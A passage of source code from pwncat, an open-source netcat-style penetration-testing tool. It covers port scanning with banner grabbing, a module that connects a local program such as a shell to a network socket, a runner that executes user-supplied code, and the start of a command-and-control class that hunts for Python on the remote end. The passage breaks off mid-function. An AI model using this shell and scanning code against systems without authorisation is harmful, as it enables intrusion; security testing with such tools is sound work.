self.__ssig.has_terminate(): self.log.trace( # type: ignore "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port ) return (False, None) try: if payload is not None: sock.send(self.__enc.encode(payload)) self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload)) sock.settimeout(0.5) banner = sock.recv(self.__sock_opts.bufsize) version = self.__get_banner_version(self.__enc.decode(banner)) self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner)) return (True, version) except socket.timeout: continue except (OSError, socket.error): return (False, None) return (True, None) def producer(self, *args, **kwargs): # type: (Any, Any) -> Iterator[bytes] """Port scanner yielding open/closed string for given port. Args: args: additional arguments. kwargs: additional arguments. Yields: str: Open/closed state (optionally with banner) from a port. """ port = args[0] # Loop over adress families for family in self.__targets: # [1/7] Check for termination request if self.__ssig.has_terminate(): self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer") # type: ignore return addr = self.__targets[family] # [2/7] Get socket try: sock = self.__get_socket(family) sock_type = sock.type except (AttributeError, socket.error): # Exception is triggered due to stop stignal and we # will abort here in that case. return # [3/7] Connect scan try: laddr, lport = self.__sock.connect( sock, addr, port, None, None, True, self.__enc.encode("\0"), self.__sock_opts.bufsize, 0.1, ) # Append local binds (addr-port) to check against during port scan key = str(laddr + "-" + str(lport)) self.__local_binds[key] = sock except socket.error: self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) continue # [4/7] False positives # Connect was successful, but against a local bind of one of our # port scanners, so this is a false positive. if str(addr + "-" + str(port)) in self.__local_binds: self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port)) del self.__local_binds[key] continue # [5/7] Banner grabbing succ_banner = True banner = None if self.__banner: (succ_banner, banner) = self.__get_banner(sock, addr, port) # [6/7] Evaluation if banner is not None and succ_banner: msg = "[+] {:>5}/{} open ({}): {}".format( port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), banner, ) yield self.__enc.encode(msg) if banner is None and succ_banner: msg = "[+] {:>5}/{} open ({})".format( port, self.__sock.get_type_name(sock_type), self.__sock.get_family_name(family), ) yield self.__enc.encode(msg) # [7/7] Cleanup self.__sock.close(sock, key) del self.__local_binds[key] def consumer(self, data): # type: (bytes) -> None """Print received data to stdout.""" # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe with self.__screen_lock: print(StringEncoder.decode(data)) try: sys.stdout.flush() except IOError: # Python flushes standard streams on exit; redirect remaining output # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt") # type: ignore self.ssig.raise_sock_quit() # NOTE: Closing up to 65535 sockets (single thread) takes very very long # Se we leave this up to Python itself, once the program exits. # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore # # Double loop to prevent: Dictionary size changed during iteration # remove = {} # for key in self.__local_binds: # remove[key] = self.__local_binds[key] # for key in remove: # self.__sock.close(remove[key], key) # ------------------------------------------------------------------------------------------------- # [6/11 IOStdinStdout]: (4/5) IOStdinStdout # ------------------------------------------------------------------------------------------------- class IOStdinStdout(IO): """Implement basic stdin/stdout I/O module. This I/O module provides a generator which continuously reads from stdin (non-blocking on POSIX and blocking on Windows) as well as a callback that writes to stdout. """ # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): # type: (InterruptHandler, DsIOStdinStdout) -> None """Set specific options for this I/O module. Args: ssig (InterruptHandler): InterruptHandler instance. opts (DsIOStdinStdout): IO options. """ super(IOStdinStdout, self).__init__(ssig) self.__opts = opts self.__py3 = sys.version_info >= (3, 0) # type: bool self.__win = os.name != "posix" # posix or nt self.__stdout_isatty = sys.stdout.isatty() self.__stdin_isatty = sys.stdin.isatty() self.log.debug("STDOUT isatty: %s", self.__stdout_isatty) self.log.debug("STDIN isatty: %s", self.__stdin_isatty) self.log.debug("STDIN posix: %s (%s)", str(self.__win), os.name) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): # type: (Any, Any) -> Iterator[bytes] """Constantly ask for user input. Yields: str: Data read from stdin. """ # On --send-on-eof we will return all of its contents at once: lines = [] # https://stackoverflow.com/questions/1450393/#38670261 # while True: line = sys.stdin.readline() <- reads a whole line (faster) # for line in sys.stdin.readlin(): <- reads one byte at a time while True: if self.ssig.has_stdin_quit(): self.log.trace( # type: ignore "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]" ) return try: data = self.__read_stdin() except EOFError: # When using select() with timeout, we don't have any input # at this point and simply continue the loop or quit if # a terminate request has been made by other threads. if self.ssig.has_stdin_quit(): self.log.trace( # type: ignore "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]" ) return continue if data: self.log.debug("Received %d bytes from STDIN", len(data)) self.log.trace("Received: %s", repr(data)) # type: ignore # [send-on-eof] Append data if self.__opts.send_on_eof: lines.append(data) else: yield data # EOF or + else: # [send-on-eof] Dump data before quitting if lines and self.__opts.send_on_eof: yield StringEncoder.encode("").join(lines) self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer") # type: ignore self.ssig.raise_stdin_eof() def consumer(self, data): # type: (bytes) -> None """Print received data to stdout.""" if self.__py3: sys.stdout.buffer.write(data) else: # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe print(data, end="") try: sys.stdout.flush() except IOError: # Python flushes standard streams on exit; redirect remaining output # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" # TODO: Does not work on windows as it has blocking read of stdin self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt") # type: ignore self.ssig.raise_stdin_quit() # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- def __set_input_timeout(self): # type: () -> None """Throws a catchable EOFError exception for sys.stdin after timeout (Linux only).""" # rlist: wait until ready for reading # wlist: wait until ready for writing # xlist: wait for an exceptional condition if not select.select([sys.stdin], [], [], self.__opts.input_timeout)[0]: raise EOFError("timed out") def __stdin_israw(self): # type: () -> bool """Check if the terminal (STDIN) is set to raw mode.""" # Non-posix systems (e.g. Windows) do not have a raw mode if self.__win: return False fild = sys.stdin.fileno() try: mode = termios.tcgetattr(fild) except termios.error: # Not a TTY return False # ICANON # https://linux.die.net/man/3/termios # The setting of the ICANON canon flag in c_lflag determines whether # the terminal is operating in canonical mode (ICANON set) or # noncanonical (raw) mode (ICANON unset). By default, ICANON set. return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON) # type: ignore def __read_stdin(self): # type: () -> bytes """Returns input from STDIN.""" # [1/3] (Windows) Normal/Raw mode if self.__win: if self.__py3: return sys.stdin.buffer.read() # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n. # Setting sys.stdin to binary mode fixes that. if hasattr(os, "O_BINARY"): msvcrt.setmode( # type: ignore sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member ) return sys.stdin.read() # type: ignore # [2/3] (Linux/Mac) Raw mode if self.__stdin_israw(): # Issue #109 # when pasting in term I donot get full line echo # To mitigate this, I'm disabling the select.select call on sys.stdin # self.__set_input_timeout() if self.__py3: return sys.stdin.buffer.read(1) return sys.stdin.read(1) # type: ignore # [3/3] (Linux/Mac) Normal mode self.__set_input_timeout() if self.__py3: return sys.stdin.buffer.readline() return sys.stdin.readline() # type: ignore # ------------------------------------------------------------------------------------------------- # [6/11 IOCommand]: (5/5) IOCommand # ------------------------------------------------------------------------------------------------- class IOCommand(IO): """Implement command execution functionality. Attributes: proc (subprocess.Popen): subprocess.Popen instance. """ # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): # type: (InterruptHandler, DsIOCommand) -> None """Set specific options for this I/O module. Args: ssig (InterruptHandler): Instance of InterruptHandler. opts (DsIOCommand): Custom module options. """ super(IOCommand, self).__init__(ssig) self.__opts = opts self.log.debug("Setting '%s' as executable", self.__opts.executable) # Did we already run cleanup self.__cleaned_up = False # If we receive only one byte at a time, the remote end is most likely # in raw mode and we will also start sending one byte at a time. # This will be determined in the consumer and action is taken in # the producer. self.__remote_is_raw = False # Open executable to wait for commands env = os.environ.copy() try: self.proc = Popen( # pylint: disable=consider-using-with self.__opts.executable, stdin=PIPE, stdout=PIPE, stderr=STDOUT, bufsize=self.__opts.bufsize, shell=False, env=env, ) except FileNotFoundError: self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) # Python-2 compat (doesn't have FileNotFoundError) except OSError: self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): # type: (Any, Any) -> Iterator[bytes] """Constantly ask for input. Yields: str: Data received from command output. """ assert self.proc.stdout is not None while True: if self.ssig.has_command_quit(): self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)") # type: ignore self.__cleanup() return self.log.trace("Reading command output") # type: ignore # Byte-wise reading is required to make it work for remote ends being in raw mode # However, the performance of self.proc.stdout.readline() is way faster. # To improve performance we will get rid of all other logging calls here. if self.__remote_is_raw: data = self.proc.stdout.read(1) else: data = self.proc.stdout.readline() self.log.trace("Command output: %s", repr(data)) # type: ignore if not data: if self.ssig.has_command_quit(): self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)") # type: ignore self.__cleanup() return # This usually happens when sending a semicolon only to /bin/[ba]sh # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;' # Afterwards the shell is corrupt and gone so we will restart it here. self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable) self.proc = Popen( # pylint: disable=consider-using-with self.__opts.executable, stdin=PIPE, stdout=PIPE, stderr=STDOUT, bufsize=self.__opts.bufsize, shell=False, env=os.environ.copy(), ) continue yield data def consumer(self, data): # type: (bytes) -> None """Send data received to stdin (command input). Args: data (str): Command to execute. """ # If we only receive one byte at a time, also tell the consumer # to send one byte at a time immediately and not to wait for a full line. if len(data) == 1: self.__remote_is_raw = True else: self.__remote_is_raw = False assert self.proc.stdin is not None self.log.trace("Appending to stdin: %s", repr(data)) # type: ignore try: self.proc.stdin.write(data) self.proc.stdin.flush() except BrokenPipeError: pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt") # type: ignore self.ssig.raise_command_quit() self.__cleanup() def __cleanup(self): # type: () -> None """Cleanup function.""" if not self.__cleaned_up: self.log.trace( # type: ignore "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d", self.__opts.executable, self.proc.pid, ) self.proc.kill() self.__cleaned_up = True # ################################################################################################# # ################################################################################################# # ### # ### 7 / 11 P S E S T O R E # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [7/11 PSE]: (1/1) PSEStore # ------------------------------------------------------------------------------------------------- class PSEStore(object): """Pwncats Scripting Engine store to persist and exchange data for send/recv scripts. The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. As well as to the logger and InterruptHandler instances. """ @property def messages(self): # type: () -> Dict[str, List[bytes]] """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name.""" return self.__messages @messages.setter def messages(self, value): # type: (Dict[str, List[bytes]]) -> None self.__messages = value @property def store(self): # type: () -> Any """`Any`: Custom data store to be used in PSE scripts to persist your data between calls.""" return self.__store @store.setter def store(self, value): # type: (Any) -> None self.__store = value @property def ssig(self): # type: () -> InterruptHandler """`InterruptHandler`: Instance of InterruptHandler class.""" return self.__ssig @property def net(self): # type: () -> List[IONetwork] """`IONetwork`: List of active IONetwork instances (client or server).""" return self.__net @property def log(self): # type: () -> logging.Logger """`Logging.logger`: Instance of Logging.logger class.""" return self.__log def __init__(self, ssig, net): # type: (InterruptHandler, List[IONetwork]) -> None """Instantiate the PSE class. Args: ssig (InterruptHandler): Instance InterruptHandler. net (IONetwork): Instance of the current network class to manipulate the socket. """ self.__messages = {} self.__store = None self.__ssig = ssig self.__net = net self.__log = logging.getLogger(__name__) # ################################################################################################# # ################################################################################################# # ### # ### 8 / 11 R U N N E R # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [8/11 IO RUNNER]: (1/2) InterruptHandler # ------------------------------------------------------------------------------------------------- class InterruptHandler(object): """Pwncat interrupt handler. It allows all threads to raise various signal on certain actions, as well as to ask the Interrupt Handler what to do. The Interrupt handler will internally decide (based on pwncat's command line arguments) what to do. """ # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, keep_open, no_shutdown): # type: (bool, bool) -> None """Instantiate InterruptHandler. Args: keep_open (bool): `--keep-open` command line argument. no_shutdown (bool): `--no-shutdown` command line argument. """ self.__log = logging.getLogger(__name__) # type: logging.Logger self.__keep_open = keep_open self.__no_shutdown = no_shutdown # Shutdown signals self.__terminate = False self.__sock_send_eof = False self.__sock_quit = False self.__stdin_quit = False self.__command_quit = False # Producers have received EOF self.__sock_eof = False self.__stdin_eof = False self.__command_eof = False def handler(signum, frame): # type: ignore # pylint: disable=unused-argument self.__log.trace("Ctrl+c caught.") # type: ignore # logging.shutdown() self.raise_terminate() # Handle Ctrl+C # signal.signal(signal.SIGTERM, handler) signal.signal(signal.SIGINT, handler) # -------------------------------------------------------------------------- # Ask for action # -------------------------------------------------------------------------- def has_terminate(self): # type: () -> bool """`bool`: Switch to be checked if pwncat should be terminated.""" return self.__terminate def has_sock_send_eof(self): # type: () -> bool """`bool`: Switch to be checked if the socket connection should be closed for sending.""" return self.__sock_send_eof def has_sock_quit(self): # type: () -> bool """`bool`: Switch to be checked if the socket connection should be closed.""" return self.__sock_quit def has_stdin_quit(self): # type: () -> bool """`bool`: Switch to be checked if the STDIN should be closed.""" return self.__stdin_quit def has_command_quit(self): # type: () -> bool """`bool`: Switch to be checked if the command should be closed.""" return self.__command_quit # -------------------------------------------------------------------------- # Raise Termination signal # -------------------------------------------------------------------------- def raise_terminate(self): # type: () -> None """Signal the application that Socket should be quit.""" self.__log.trace("SIGNAL TERMINATE raised") # type: ignore self.__terminate = True self.__sock_quit = True self.__stdin_quit = True self.__command_quit = True # -------------------------------------------------------------------------- # Raise Socket signals # -------------------------------------------------------------------------- def raise_sock_send_eof(self): # type: () -> None """Signal the application that Socket should be closed for sending.""" # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised") # type: ignore self.__sock_send_eof = True def raise_sock_eof(self): # type: () -> None """Signal the application that Socket has received EOF.""" # self.__log.trace("SIGNAL SOCK-EOF raised") # type: ignore self.__sock_eof = True self.raise_sock_quit() def raise_sock_quit(self): # type: () -> None """Signal the application that Socket should be quit.""" # self.__log.trace("SIGNAL SOCK-QUIT raised") # type: ignore self.__sock_quit = True self.raise_terminate() # -------------------------------------------------------------------------- # Raise STDIN signals # -------------------------------------------------------------------------- def raise_stdin_eof(self): # type: () -> None """Signal the application that STDIN has received EOF.""" # self.__log.trace("SIGNAL STDIN-EOF raised") # type: ignore self.__stdin_eof = True self.raise_stdin_quit() def raise_stdin_quit(self): # type: () -> None """Signal the application that STDIN should be quit.""" # self.__log.trace("SIGNAL STDIN-QUIT raised") # type: ignore self.__stdin_quit = True # If --no-shutdown or -keep-open is specified # pwncat will not invoke shutdown on a socket after seeing EOF on stdin if not (self.__no_shutdown or self.__keep_open): # No more data from stdin, we can tell the remote side we are done # by closing the socket for sending (they will receive an EOF). self.raise_sock_send_eof() # -------------------------------------------------------------------------- # Raise COMMAND signals # -------------------------------------------------------------------------- def raise_command_eof(self): # type: () -> None """Signal the application that Command has received EOF.""" # self.__log.trace("SIGNAL COMMAND-EOF raised") # type: ignore self.__command_eof = True self.raise_command_quit() def raise_command_quit(self): # type: () -> None """Signal the application that Command should be quit.""" # self.__log.trace("SIGNAL COMMAND-QUIT raised") # type: ignore self.__command_quit = True self.raise_terminate() # ------------------------------------------------------------------------------------------------- # [8/11 IO RUNNER]: (2/2) Runner # ------------------------------------------------------------------------------------------------- class Runner(object): """Runner class that takes care about putting everything into threads.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, fast_quit, pse): # type: (InterruptHandler, bool, PSEStore) -> None """Create a new Runner object. Args: ssig (InterruptHandler): Instance of InterruptHandler. fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit. pse (PSEStore): Pwncat Scripting Engine store. """ self.log = logging.getLogger(__name__) # Dict of producer/consumer action to run in a thread. # Each list item will be run in its own thread self.__actions = {} # type: Dict[str, DsRunnerAction] # Dict of timed function definition to run in a thread. # Each list item will be run in its own thread. self.__timers = {} # type: Dict[str, DsRunnerTimer] # Dict of repeater function definition to run in a thread. # Each list item will be run in its own thread. self.__repeaters = {} # type: Dict[str, DsRunnerRepeater] # A dict which holds the threads created from actions. # The name is based on the __actions name # {"name": ""} self.__threads = {} # type: Dict[str, threading.Thread] self.__ssig = ssig self.__fast_quit = fast_quit self.__pse = pse # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def add_action(self, name, action): # type: (str, DsRunnerAction) -> None """Add a function to the producer/consumer thread pool runner. Args: name (str): The name for the added action (will be used for logging the tread name). action (DsRunnerAction): Instance of DSRunnerAction. """ self.__actions[name] = action def add_timer(self, name, timer): # type: (str, DsRunnerTimer) -> None """Add a function to the timer thread pool runner. Args: name (str): The name for the added timer (will be used for logging the thread name). timer (DsRunnerTimer): Instance of DsRunnerTimer. """ self.__timers[name] = timer def add_repeater(self, name, repeater): # type: (str, DsRunnerRepeater) -> None """Add a function to the repeater thread pool runner. Args: name (str): The name for the added repeater (will be used for logging the thread name). repeater (DsRunnerRepeater): Instance of DsRunnerRepeater. """ self.__repeaters[name] = repeater def run(self): # type: () -> None """Run threaded pwncat I/O modules.""" def run_action( name, # type: str producer, # type: DsCallableProducer consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None """Producer/consumer run function to be thrown into a thread. Args: name (str): Name for logging output. producer (function): A generator function which yields data. consumer (function): A callback which consumes data from the generator. transformers ([function]): List of transformer functions applied before consumer. code (ast.AST): User-supplied python code with a transform(data) -> str function. """ self.log.trace("[%s] Producer Start", name) # type: ignore for data in producer.function(*producer.args, **producer.kwargs): self.log.trace("[%s] Producer received: %s", name, repr(data)) # type: ignore # [1/3] Transform data before sending it to the consumer if transformers: for transformer in transformers: data = transformer.transform(data) self.log.trace( # type: ignore "[%s] Producer data after transformers: %s", name, repr(data) ) # [2/3] Apply custom user-supplied code transformations if code is not None: self.log.debug( "[%s] Executing user supplied transform(data, pse) -> data function", name ) pse = self.__pse # Add current message to PSE store if name in self.__pse.messages: self.__pse.messages[name] = self.__pse.messages[name] + [data] else: self.__pse.messages[name] = [data] # Execute script code exec(code, {}, locals()) # pylint: disable=exec-used data = locals()["transform"](data, pse) self.log.trace( # type: ignore "[%s] Producer data after user supplied transformer: %s", name, repr(data) ) # [3/3] Consume it consumer(data) self.log.trace("[%s] Producer Stop", name) # type: ignore def run_timer(name, action, intvl, ssig, *args, **kwargs): # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: if ssig.has_terminate(): self.log.trace( # type: ignore "TERMINATE signal ACK for timer action [%s]", name ) return time_now = int(time.time()) if time_now > time_last + intvl: self.log.debug("[%s] Executing timed function", time_now) action(*args, **kwargs) time_last = time_now # Reset previous time time.sleep(0.1) def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ cycles = 1 self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: if ssig.has_terminate(): self.log.trace( # type: ignore "TERMINATE signal ACK for repeater action [%s]", name ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) action(*args, **kwargs) cycles += 1 time.sleep(pause) # [1/3] Start available action in a thread for key in self.__actions: if self.__ssig.has_terminate(): self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key) # type: ignore break # Create Thread object thread = threading.Thread( target=run_action, name=key, args=( key, self.__actions[key].producer, self.__actions[key].consumer, self.__actions[key].transformers, self.__actions[key].code, ), ) # Daemon threads are easier to kill thread.daemon = self.__actions[key].daemon_thread # Add delay if threads cannot be started delay = 0.0 while True: if self.__ssig.has_terminate(): self.log.trace( # type: ignore "TERMINATE signal ACK for Runner.run [2]: [%s]", key ) break try: # Do not call any logging functions in here as it will # cause a deadlock for Python2 # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except delay += 0.1 time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread # [2/3] Start available timers in a thread for key in self.__timers: if self.__ssig.has_terminate(): self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key) # type: ignore break # Create Thread object thread = threading.Thread( target=run_timer, name=key, args=( key, self.__timers[key].action, self.__timers[key].intvl, self.__timers[key].ssig, ) + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() # [3/3] Start available repeaters in a thread for key in self.__repeaters: if self.__ssig.has_terminate(): self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key) # type: ignore break # Create Thread object thread = threading.Thread( target=run_repeater, name=key, args=( key, self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, self.__repeaters[key].ssig, ) + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() def check_stop(): # type: () -> bool """Stop threads.""" # [1/2] Fast shutdown # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() # in a fast loop. Also for port-scan we will have thousands of threads that need # to be joined and the signal handler is unable to abort the whole program during that # time. Outcome is it would take a few minutes to abort during port scan. # The fix is to use a "faster" method to kill the threads. # 1. The port scanner threads need to be started in daemon mode # 2. the fast_quit param to Runner() must be set to True if self.__fast_quit: if self.__ssig.has_terminate(): self.log.trace("Fast quit - shutting down.") # type: ignore return True # [2/2] Normal shutdown for non-daemon threads else: for key in self.__threads: if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): for interrupt in self.__actions[key].interrupts: # [1/3] Call external interrupters self.log.trace( # type: ignore "Call INTERRUPT: %s.%s() for %s", getattr(interrupt, "__self__").__class__.__name__, interrupt.__name__, self.__threads[key].getName(), ) interrupt() # [2/3] All blocking events inside the threads are gone, now join them try: self.log.trace( # type: ignore "Joining %s", self.__threads[key].getName() ) # NOTE: The thread.join() operating will also block the signal # handler if we try to join too many threads at once. self.__threads[key].join() self.log.trace( # type: ignore "Joined %s", self.__threads[key].getName() ) except RuntimeError: pass # If all threads are done, also stop if all([not self.__threads[key].is_alive() for key in self.__threads]): self.log.trace("All threads dead - shutting down.") # type: ignore return True return False while True: if check_stop(): sys.exit(0) # Need a timeout to not skyrocket the CPU if sys.version_info < (3, 3): # Signal Handler in Python < 3.3 is broken and might not catch on # a too small timeout invervall time.sleep(0.5) else: time.sleep(0.01) # ################################################################################################# # ################################################################################################# # ### # ### 9 / 11 C O M M A N D A N D C O N T R O L M O D U L E S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [9/11 Command & Control]: (1/3) CNC Exception classes # ------------------------------------------------------------------------------------------------- class CNCPythonNotFound(BaseException): """CNC Exception handler.""" # ------------------------------------------------------------------------------------------------- # [9/11 Command & Control]: (2/3) CNC # ------------------------------------------------------------------------------------------------- class CNC(object): """Command and Control base class.""" __PYTHON_PATHS = [ "/usr/bin", "/usr/local/bin", "/usr/local/python/bin", "/usr/local/python2/bin", "/usr/local/python2.7/bin", "/usr/local/python3/bin", "/usr/local/python3.5/bin", "/usr/local/python3.6/bin", "/usr/local/python3.7/bin", "/usr/local/python3.8/bin", "/bin", "/opt/bin", "/opt/python/bin", "/opt/python2/bin", "/opt/python2.7/bin", "/opt/python3/bin", "/opt/python3.5/bin", "/opt/python3.6/bin", "/opt/python3.7/bin", "/opt/python3.8/bin", ] __PYTHON_NAMES = [ "python3", "python", "python2", "python2.7", "python3.5", "python3.6", "python3.7", "python3.8", ] __COLORS = {"yellow": "\x1b[33;21m", "reset": "\x1b[0m"} # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def remote_python(self): # type: () -> str """Discovered absolute Python remote path.""" return self.__remote_python @property def remote_py3(self): # type: () -> bool """Is remote version Python3? Else it is Python2.""" return self.__remote_py3 # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, network): # type: (IONetwork) -> None """Instantiate Command and Control class. Args: network (IONetwork): Instance of IONetwork Raises: CNCPythonNotFound: if remote Python binary path is not found. """ self.__net = network self.__log = logging.getLogger(__name__) self.__py3 = sys.version_info >= (3, 0) # type: bool # Along with the response the server might prefix/suffix data # such as a PS1 prompt (which might be send first or last with a newline) self.__remote_prefix = [] # type: List[bytes] self.__remote_suffix = [] # type: List[bytes] # Receive timeout value will be adjusted dynamically depending on the # speed of the server. We'll start high to allow for slow servers. self.__recv_timeout = 0.3 self.__recv_rounds = 5 self.__recv_times = [] # type: List[float] # [1/3] Check if there is data to be received first (e.g.: greeting) self.print_info("Checking if remote sends greeting...") greeting = self.send_recv(None, False, False) if greeting: self.print_raw(b"\n".join(greeting), True) # [2/3] Check if the remote sends a prefix with every reply self.__set_remote_prefix() # [3/3] Find potential Python versions if not self.__set_remote_python_path(): self.print_info("No Python has been found. Aborting and handing over to current shell.") raise CNCPythonNotFound() # -------------------------------------------------------------------------- # Print Functions # -------------------------------------------------------------------------- def print_info(self, message=None, newline=True, erase=False): # type: (Optional[str], bool, bool) -> None """Print a message to the local screen to inform the user. Args: message (str): The message to print. newline (bool): Add a newline? erase (bool): Erase previously printed text on the same line. """ end = "\n" if newline else "" prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"]) if message is None: message = "" prefix = "" if erase: print("\r" * 1024 + "{}{}".format(prefix, message), end=end) sys.stdout.flush() else: print("{}{}".format(prefix, message), end=end) sys.stdout.flush() def print_raw(self, message, newline): # type: (bytes, bool) -> None """Print a message to the local screen without color/prefix. Args: message (bytes): The message to print. newline (bool): Add a newline? """ if self.__py3: end = b"\n" if newline else b"" sys.stdout.buffer.write(b"".join([message, end])) else: end = "\n" if newline else "" # type: ignore print(message, end=end) # type: ignore # For issues with flush (when using tail -F or equal) see links below: # https://stackoverflow.com/questions/26692284 # https://docs.python.org/3/library/signal.html#note-on-sigpipe try: sys.stdout.flush() except IOError: # Python flushes standard streams on exit; redirect remaining output # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) # -------------------------------------------------------------------------- # Network Functions # -------------------------------------------------------------------------- def send(self, data): # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: data (bytes): The data to send. Returns: int: Returns total bytes sent. Raises: socket.error: Except here when unconnected or connection was forcibly closed. """ return self.__net.net.send(data) def flush_receive(self): # type: () -> List[bytes] """Try to reveive everything which is currently being sent from remote. Returns: List[bytes]: Returns a list of bytes of received data. Raises: socket.error: Except here when unconnected or connection was forcibly closed. """ self.print_info("Flushing receive buffer (this can take some time) ...") self.send(b"\n") data1 = self.send_recv(None, False, False) data2 = self.send_recv(None, False, False) self.print_info("Flushing receive buffer done.") return data1 + data2 def send_recv(self, data, strip_suffix=True, strip_echo=False): # type: (Optional[bytes], bool, bool) -> List[bytes] """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies. Args: data (None|bytes): The data to send. If None, will skip sending. strip_suffix (bool): Strip remote suffix from received data? strip_echo (bool): Also remove 'data' from output if server has echo'ed it? Returns: List[bytes]: Returns a list of bytes of received data. Raises: socket.error: Except here when unconnected or connection was forcibly closed. """ # [1/4] Send if data is not None: self.__net.net.send(data) # [2/4] Receive actual reply responses = [] # Setup timer and current receive round time_start = datetime.now() curr_round = 0 while curr_round < self.__recv_rounds: try: response = self.__net.net.receive() except socket.timeout: time.sleep(self.__recv_timeout) time_step = datetime.now() time_diff = time_step - time_start self.__log.trace( # type: ignore "Timeout: Receive timed out after %f sec in %d/%d rounds", time_diff.total_seconds(), curr_round + 1, self.__recv_rounds, ) curr_round += 1 # On successful read, we can determine to adjust timings. else: time_end = datetime.now() time_diff = time_end - time_start self.__recv_times.append(time_diff.total_seconds()) self.__log.trace( # type: ignore "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", time_diff.total_seconds(), sum(self.__recv_times) / len(self.__recv_times), curr_round + 1, self.__recv_rounds, ) # Retries were required prev_recv_timeout = self.__recv_timeout if curr_round > 1: self.__recv_timeout += time_diff.total_seconds() # No retries requred else: 